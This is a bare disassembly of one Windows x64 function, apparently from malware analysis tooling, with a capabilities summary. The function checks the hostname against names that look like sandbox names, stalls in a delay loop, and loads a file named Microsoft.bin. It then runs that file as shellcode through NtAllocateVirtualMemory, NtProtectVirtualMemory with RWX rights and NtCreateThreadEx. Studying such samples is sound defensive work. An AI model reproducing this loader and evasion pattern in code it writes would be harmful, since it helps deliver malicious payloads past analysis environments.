Function at 0x140001870
Capabilities:
Allocate or change rwx memory
Create thread
Get hostname
Read file on windows
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
lea rbp, [rsp - 0xd0]
sub rsp, 0x1d0
mov rax, qword [0x140024008]
xor rax, rsp
mov qword [rbp + 0xc0], rax
mov rbx, rdx
cmp ecx, 2
je 0x1400018a5
xor eax, eax
jmp 0x140001a28
lea rdx, [rsp + 0x70]
mov dword [rsp + 0x70], pe_nt_image_headers64
lea rcx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea rdx, str.WIN_OA7JNJLNKNB
lea rcx, [rbp - 0x40]
call fcn.140018320
test eax, eax
je 0x1400018e8
lea rdx, str.FILESERVER
lea rcx, [rbp - 0x40]
call fcn.140018320
test eax, eax
jne 0x140001be4
mov rcx, qword [rbx + 8]
lea rdx, [0x140021830]
call fcn.140018320
test eax, eax
jne 0x140001be4
mov ecx, 0x30d40
mov qword [rsp + 0x1e8], rdi
call fcn.140008758
mov ebx, 0x186a0
xor edx, edx
mov r8d, ebx
mov rcx, rax
mov rdi, rax
call fcn.140003100
nop word [rax + rax]
lea rcx, [0x1400217c0]
call fcn.140001010
sub rbx, 1
jne 0x140001930
mov qword [rsp + 0x1e0], rsi
mov rcx, rdi
mov qword [rsp + 0x1f0], r14
call fcn.14000841c
call fcn.140001490
movups xmm0, xmmword [str.C:_Windows_Microsoft.NET_Framework64_Microsoft.bin]
movzx eax, word [0x140021870]
lea rdx, [0x14002179c]
movups xmm1, xmmword [0x140021850]
mov word [rbp - 0x50], ax
lea rcx, [rbp - 0x80]
movzx eax, byte [0x140021872]
movups xmmword [rbp - 0x80], xmm0
mov byte [rbp - 0x4e], al
movups xmm0, xmmword [0x140021860]
movups xmmword [rbp - 0x70], xmm1
movups xmmword [rbp - 0x60], xmm0
call fcn.1400064b8
mov rbx, rax
test rax, rax
je 0x1400019ff
xor edx, edx
mov rcx, rax
lea r8d, [rdx + 2]
call fcn.14000695c
mov rcx, rbx
call fcn.1400063f4
mov rcx, rbx
movsxd rsi, eax
call fcn.140007ff4
mov rcx, rbx
call fcn.1400066f0
test rsi, rsi
je 0x1400019ff
lea rdx, [0x14002179c]
lea rcx, [rbp - 0x80]
call fcn.1400064b8
mov r14, rax
test rax, rax
jne 0x140001a48
lea rcx, str.Binary_file_does_not_exist__n
call fcn.140001010
lea rcx, str.Failed_to_read_binary_file_n
call fcn.140001010
mov eax, 1
mov rsi, qword [rsp + 0x1e0]
mov r14, qword [rsp + 0x1f0]
mov rdi, qword [rsp + 0x1e8]
mov rcx, qword [rbp + 0xc0]
xor rcx, rsp
call fcn.140001c00
mov rbx, qword [rsp + 0x1f8]
add rsp, 0x1d0
pop rbp
ret
mov rcx, rsi
call fcn.140001c28
mov r9, r14
mov r8, rsi
mov edx, 1
mov rcx, rax
mov rdi, rax
call fcn.140008690
mov rcx, r14
mov rbx, rax
call fcn.1400066f0
test rbx, rbx
jne 0x140001a83
mov rcx, rdi
call fcn.140001c20
jmp 0x1400019ff
xor ebx, ebx
mov dword [rsp + 0x28], 4
lea r9, [rsp + 0x78]
mov qword [rsp + 0x60], rbx
xor r8d, r8d
mov qword [rsp + 0x78], rsi
lea rdx, [rsp + 0x60]
mov dword [rsp + 0x20], 0x3000
lea rcx, [rbx - 1]
call qword [sym.imp.ntdll.dll_NtAllocateVirtualMemory]
test eax, eax
jns 0x140001ad3
lea rcx, str.Failed_to_allocate_virtual_memory_n
call fcn.140001010
mov rcx, rdi
call fcn.140001c20
jmp 0x140001a0b
mov rcx, qword [rsp + 0x60]
mov r8, rsi
mov rdx, rdi
call fcn.140003f10
lea rcx, [rsp + 0x74]
mov dword [rsp + 0x74], ebx
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0x78]
mov rcx, 0xffffffffffffffff
lea rdx, [rsp + 0x60]
mov r9d, 0x40
call qword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
test eax, eax
jns 0x140001b30
lea rcx, str.Failed_to_change_memory_protection_n
call fcn.140001010
mov rcx, rdi
call fcn.140001c20
mov eax, 2
jmp 0x140001a10
mov rax, qword [rsp + 0x60]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x50], rbx
mov r9, 0xffffffffffffffff
mov qword [rsp + 0x48], rbx
xor r8d, r8d
mov qword [rsp + 0x40], rbx
mov edx, 0x1fffff
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x30], ebx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x68], rbx
call qword [sym.imp.ntdll.dll_NtCreateThreadEx]
test eax, eax
jns 0x140001b98
lea rcx, str.Failed_to_create_thread_n
call fcn.140001010
mov rcx, rdi
call fcn.140001c20
mov eax, 3
jmp 0x140001a10
mov rcx, qword [rsp + 0x68]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.ntdll.dll_NtWaitForSingleObject]
test eax, eax
jns 0x140001bca
lea rcx, str.Failed_to_wait_for_single_object_n
call fcn.140001010
mov rcx, rdi
call fcn.140001c20
mov eax, 4
jmp 0x140001a10
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call fcn.140001c20
xor eax, eax
jmp 0x140001a10
xor ecx, ecx
call fcn.140005ef4
int3